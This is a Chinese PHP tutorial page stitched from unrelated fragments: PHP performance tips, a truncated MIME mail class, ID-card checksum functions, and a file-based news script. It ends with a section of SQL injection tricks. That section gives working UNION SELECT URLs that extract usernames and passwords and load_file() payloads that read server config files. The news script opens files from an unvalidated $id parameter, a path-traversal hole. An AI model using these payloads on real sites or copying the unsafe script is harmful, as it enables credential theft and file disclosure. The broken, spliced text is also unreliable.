PHP教程.应用实例11

 更新时间:2016年11月25日 17:36  点击:1261
PHP应用提速面面观
PHP最大的优点之一显然在于它的快速度。一般情况下PHP总是具有足够的速度支持Web内容动态生成,许多时候你甚至无法找出比它更快的方法。然而,当你不得不面对庞大的访问量、高负荷的应用、有限的带宽以及其他各种带来性能瓶颈的因素时,你可能会问问自己是否可以做点什么让网站运行得更好。或许只要加上一个很不起眼的免费模块,你的PHP应用性能以及Web服务器响应速度就会有显著的改善。本文讨论的就是如何进一步提高php应用的性能,给用户以更美妙的浏览感受。本文分三个方面(代码优化、缓存、内容压缩)阐述提高PHP应用性能的各种技术,并介绍各个领域的知名产品。
代码优化
首先我们来看看代码优化。注意,这里的代码优化可不是指把代码写得更加美观漂亮,因为这恐怕已经是众所周知没有必要继续讨论了;另外,如果你已经考虑到了速度问题,很可能你早就对PHP的源代码作了一些优化。不过,有些工具却能够自动地帮助我们完成这些繁杂的工作,如Zend Optimizer就是这样一个工具。Zend Optimizer可以从Zend Technologies免费得到,但你必须同意它的许可约定,注意它不是以GPL方式发行。Zend Optimizer获取由Zend Engine运行时编译生成的中间代码,并对它进行优化,从而使得中间代码具有更快的执行效率。
Zend Optimizer的安装方法非常简单,你只需下载为自己所用平台提供的预编译版本,把下面两行代码加入到php.ini,然后重新启动Web服务器即可:
zend_optimizer.optimization_level=15
zend_extension="/path/to/ZendOptimizer.so"
zend_loader.enable=Off
这里额外增加的第三行代码是可选的。禁止zend_loader似乎能够让Zend Optimizer的速度更快一点,所以在php.ini中加上这行代码是值得的。注意:只有当你不使用Zend Encoder Runtime时,你才可以禁用zend_loader。
缓存
如果你想要让自己庞大的PHP应用有更好的性能表现,采用缓存也是一种很好的方法。现在已经有许多缓存方案可供选择,其中包括:Zend Cache,APC,和Afterburner Cache。
所有这些产品都属于“缓存模块”。当第一次出现对.php文件的请求时,它们会在Web服务器内存中保存PHP的中间代码,此后就用“经过编译”的版本响应后继的请求。这种方法确实能够改善应用的性能,因为它使得磁盘访问量减低到了最少的程度(代码已经读取和解析),代码直接在内存中运行使得服务器响应请求的速度大大提高。当然,缓存模块还会监视PHP源文件的变化,必要时重新缓存页面,从而防止了用户得到的页面仍旧由过时的PHP代码生成。由于缓存模块能够明显地降低服务器的负载、提高PHP应用的响应效率,因此它们非常适合于负载较大的网站使用。
php写的发送附件的程序(二)
<?php
class html_mime_mail{

var $headers;
var $body;
var $multipart;
var $mime;
var $html;
var $html_text;
var $html_images = array();
var $cids = array();
var $do_html;
var $parts = array();

/***************************************
** Constructor function. Sets the headers
** if supplied.
***************************************/
function html_mime_mail($headers = ''){
$this->headers = $headers;
}

/***************************************
** Adds a html part to the mail.
** Also replaces image names with
** content-id's.
***************************************/
function add_html($html, $text){
$this->do_html = 1;
$this->html = $html;
$this->html_text = $text;
if(is_array($this->html_images) AND count($this->html_images) > 0){
for($i=0; $i<count($this->html_images); $i++){
$this->html = ereg_replace($this->html_images[$i]['name'], 'cid:'.$this->html_images[$i]['cid'], $this->html);
}
}
}

/***************************************
** Builds html part of email.
***************************************/
function build_html($orig_boundary){
$sec_boundary = '=_'.md5(uniqid(time()));
$thr_boundary = '=_'.md5(uniqid(time()));

if(!is_array($this->html_images)){
$this->multipart.= '--'.$orig_boundary." ";
$this->multipart.= 'Content-Type: multipart/alternative; boundary="'.$sec_boundary."" ";

$this->multipart.= '--'.$sec_boundary." ";
$this->multipart.= 'Content-Type: text/plain'." ";
$this->multipart.= 'Content-Transfer-Encoding: 7bit'." ";
写了几个身份证方面的函数,个人感觉挺有用的,特别是在网络问卷调查时,对个人信息里的身份证进行验证很有用,但是应者寥寥,还是收在自己的blog里算了。
// 计算身份证校验码,根据国家标准GB 11643-1999
function idcard_verify_number($idcard_base){
   if (strlen($idcard_base) != 17){ return false; }
   // 加权因子
   $factor = array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2);
   
   // 校验码对应值
   $verify_number_list = array('1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2');
   $checksum = 0;
   for ($i = 0; $i < strlen($idcard_base); $i++){
       $checksum += substr($idcard_base, $i, 1) * $factor[$i];
   }
   $mod = $checksum % 11;
   $verify_number = $verify_number_list[$mod];
   return $verify_number;
}
// 将15位身份证升级到18位
function idcard_15to18($idcard){
   if (strlen($idcard) != 15){
       return false;
   }else{
       // 如果身份证顺序码是996 997 998 999,这些是为百岁以上老人的特殊编码
       if (array_search(substr($idcard, 12, 3), array('996', '997', '998', '999')) !== false){
           $idcard = substr($idcard, 0, 6) . '18'. substr($idcard, 6, 9);
       }else{
           $idcard = substr($idcard, 0, 6) . '19'. substr($idcard, 6, 9);
       }
   }
   $idcard = $idcard . idcard_verify_number($idcard);
   return $idcard;
}
// 18位身份证校验码有效性检查
function idcard_checksum18($idcard){
   if (strlen($idcard) != 18){ return false; }
   $idcard_base = substr($idcard, 0, 17);
新闻文件以文本文件.txt的格式存放在一个固定的目录下,新闻的发布可以自动完成。
该过程由两部分组成:
第一是新闻的显示,由shownews.php脚本实现,代码如下:
〈table border="0" width="90%"〉
〈?php
//在新闻文件中的第一行放新闻的标题
//新闻文件必须是文本文件(.txt)
$newspath = "./news/"; // 修改新闻文件存放的目录
$newsfile = array();
$hd = dir($newspath);
while( $filename = $hd-〉read() ) {
$s=strtolower($filename);
if (strstr($s,".txt")) {
$lastchanged=filemtime($newspath.$filename);
$newsfile[$filename] = $lastchanged;
}
}
arsort($newsfile);
for(reset($newsfile); $key = key($newsfile); next($newsfile)) {
print "〈tr〉〈td〉n";
$fa = file($newspath.$key);
$s=trim($fa[0]);
$s=htmlspecialchars($s);
$lk=strlen($key);
$a=substr($key,0,$lk-4);
$s="〈a href="./pubnews.php?id=".$a."" target=_blank〉".$s."〈/a〉";
print $s." n";
print "(".date("Y年m月d日 - H:i:s",$newsfile[$key]).")
n";
print "〈/td〉〈/tr〉";
}
$hd-〉close();
?〉
〈/table〉
在显示新闻的地方放入代码:
〈?php
require "./shownews.php";
?〉
第二部分为新闻的发布,由pupnews.php脚本实现,代码如下:
〈?php
if ($id=="")
{
Header("Location: ./shownews.php");
}
?〉
〈html〉
〈head〉
〈meta content="chenqiang" name=Author〉
〈?php
$filename="./news/".$id.".txt";
$fa=file($filename);
$n=count($fa);
$s=trim($fa[0]);
$s=htmlspecialchars($s);
$t=" - news by waterwall";
print "〈title〉".$s.$t."〈/title〉n";
?〉
〈/head〉
〈body〉
〈?php
//输出文本标题
print "〈blockquote〉n";
print "〈b〉〈center〉".$s."n";
print "〈/center〉〈/b〉
〈p〉n";
//输出文本正文
for ($i=1;$i〈$n;$i+=1)
{
$s=chop($fa[$i]);
$s=htmlspecialchars($s);
$s=trim($s);
print " ".$s."
n";
}
print "〈/p〉〈/blockquote〉n";
?〉
〈/body〉
〈/html〉
用数据库也可实现,这只是文件形式的实现方式。
三:一些注入技巧,很多都是个人发现哦
1.union select的技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24
看看软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。
好了,我们根据这里来构建吧,估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图25
哈哈,这种方法只要看看就可以大概猜到了。
2.load_file读写文件的技巧
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如:
C:/apache/htdocs/site/lib/sql.inc.php 转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我们构造如下
http://localhost/site/display.php?id=
451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870)
,4,5,6,7,8,9,10,11
如图26
发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢?
我们看看网页的源代码先
图27
哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
原来html中< >用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
[!--infotagslink--]

相关文章

  • Painter绘制红衣喝酒男水粉画效果教程

    今天小编在这里就来给Painter的这一款软件的使用者们来说一说绘制红衣喝酒男水粉画效果的教程,各位想知道具体绘制步骤的使用者,那么下面就快来跟着小编一起看一看教程...2016-09-14
  • iPhone6怎么激活?两种苹果iPhone6激活教程图文详解

    iPhone6新机需要激活后才可以正常使用,那么对于小白用户来说,iPhone6如何激活使用呢?针对此问题,本文就为大家分别介绍Wifi无线网络激活以及iPhone6连接电脑激活这两种有效的方法,希望本文能够帮助到大家...2022-09-14
  • Photoshop制作雨中野外孤独行走的一头牛海报教程

    今天小编在这里就来给各位photoshop的这一款软件的使用者们来说下制作雨中野外孤独行走的一头牛海报的教程,各位想知道具体制作方法的使用者们,大家就快来看一看小编给...2016-09-14
  • Painter绘制帅气卡通魔法王子漫画教程

    今天小编在这里就来给Painter的这一款软件的使用者们来说一下绘制帅气卡通魔法王子漫画的具体教程,各位想知道绘制步骤的使用者,那么下面就快来跟着小编一起看一看教程...2016-09-14
  • Illustrator鼠绘堆雪人的孩童矢量插画教程

    今天小编在这里就来给各位Illustrator的这一款软件的使用者们来说说鼠绘堆雪人的孩童矢量插画的教程,各位想知道具体绘制方法的使用者们,那么各位就快来跟着小编来看看...2016-09-14
  • 美图秀秀给照片天空加蓝天白云教程一览

    今天小编在这里就来给美图秀秀的这一款软件的使用者们来说下究竟该怎么给照片天空加蓝天白云的教程,各位想知道具体制作步骤的,那么下面就来跟着小编一起看看吧。 ...2016-09-14
  • 安卓手机app添加支付宝支付开发教程

    支付宝支付在国内算是大家了,我们到处都可以使用支付宝了,下文整理介绍的是在安卓app应用中使用支付宝进行支付的开发例子。 之前讲了一篇博客关与支付宝集成获取...2016-09-20
  • llustrator绘制扁平化风格卡通警察护士空姐肖像教程

    今天小编在这里就来给llustrator的这一款软件的使用者们来说一说绘制扁平化风格卡通警察护士空姐肖像的教程,各位想知道具体绘制步骤的使用者们,那么下面就快来跟着小编...2016-09-14
  • Illustrator绘制一个方形的录音机图标教程

    今天小编在这里就来给Illustrator的这一款软件的使用者们来说一下绘制一个方形的录音机图标的教程,各位想知道具体绘制方法的使用者们,那么下面就来看一下小编给大家分...2016-09-14
  • photoshop简单制作一个搞笑的换脸表情包教程

    今天小编在这里就来给photoshop的这一款软件的使用者们来说一说简单制作一个搞笑的换脸表情包的教程,各位想知道具体制作方法的使用者们,那么大家就快来看一看教程吧。...2016-09-14
  • photoshop给手绘画调色变换场景后期教程

    今天小编在这里就来给各位photoshop的这一款软件的使用者们来说说给手绘画调色变换场景的后期教程,各位想知道具体后期处理步骤的使用者们,那么大家就快来跟着小编来看...2016-10-02
  • 美图秀秀让你胸丰满起来处理教程

    今天小编在这里就来给美图秀秀的这一款软件的使用者们来说一下让你胸丰满起来的处理教程,各位想知道具体处理步骤的,那么下面就快来跟着小编一起看一下教程吧。 给...2016-09-14
  • Painter绘制雷神传插画教程

    今天小编在这里就来给Painter的这一款软件的使用者们来说一下绘制雷神传插画的教程,各位想知道具体绘制步骤的使用者,那么下面就快来跟着小编一起看看绘制方法吧。 ...2016-09-14
  • MySQL中的联合索引学习教程

    联合索引又叫复合索引。对于复合索引:Mysql从左到右的使用索引中的字段,一个查询可以只使用索引中的一部份,但只能是最左侧部分。例如索引是key index (a,b,c). 可以支持a | a,b| a,b,c 3种组合进行查找,但不支持 b,c进...2015-11-24
  • 美图秀秀制作隔离区聊天背景教程

    今天小编在这里就来给美图秀秀的这一款软件的使用者们来说下制作隔离区聊天背景的教程,各位想知道具体方法的,那么下面就快来跟着小编一起看一看吧。 给各位美图秀...2016-09-14
  • MySQL日志分析软件mysqlsla的安装和使用教程

    一、下载 mysqlsla [root@localhost tmp]# wget http://hackmysql.com/scripts/mysqlsla-2.03.tar.gz--19:45:45-- http://hackmysql.com/scripts/mysqlsla-2.03.tar.gzResolving hackmysql.com... 64.13.232.157Conn...2015-11-24
  • Lua语言新手简单入门教程

    这篇文章主要给大家介绍的是关于Lua语言新手入门的简单教程,文中通过示例代码一步步介绍的非常详细,对各位新手们的入门提供了一个很方便的教程,需要的朋友可以参考借鉴,下面随着小编来一起学习学习吧。...2020-06-30
  • photoshop素材合成古典园林场景制作教程

    今天小编在这里就来给photoshop的这一款软件的使用者们来说说用素材合成古典园林场景教程,各位想知道到底该怎么制作的,那么就快来一起看一下吧。 给各位photoshop...2016-09-14
  • php类的使用实例教程

    php类的使用实例教程 <?php /** * Class program for yinghua05-2 * designer :songsong */ class Template { var $tpl_vars; var $tpl_path; var $_deb...2016-11-25
  • PHP扩展开发教程(总结)

    PHP是一种解释型的语言,对于用户而言,我们精心的控制内存意味着easier prototyping和更少的崩溃!当我们深入到内核之后,所有的安全防线都已经被越过,最终还是要依赖于真正有责任心的软件工程师来保证系统的稳定运行。1、线...2015-11-08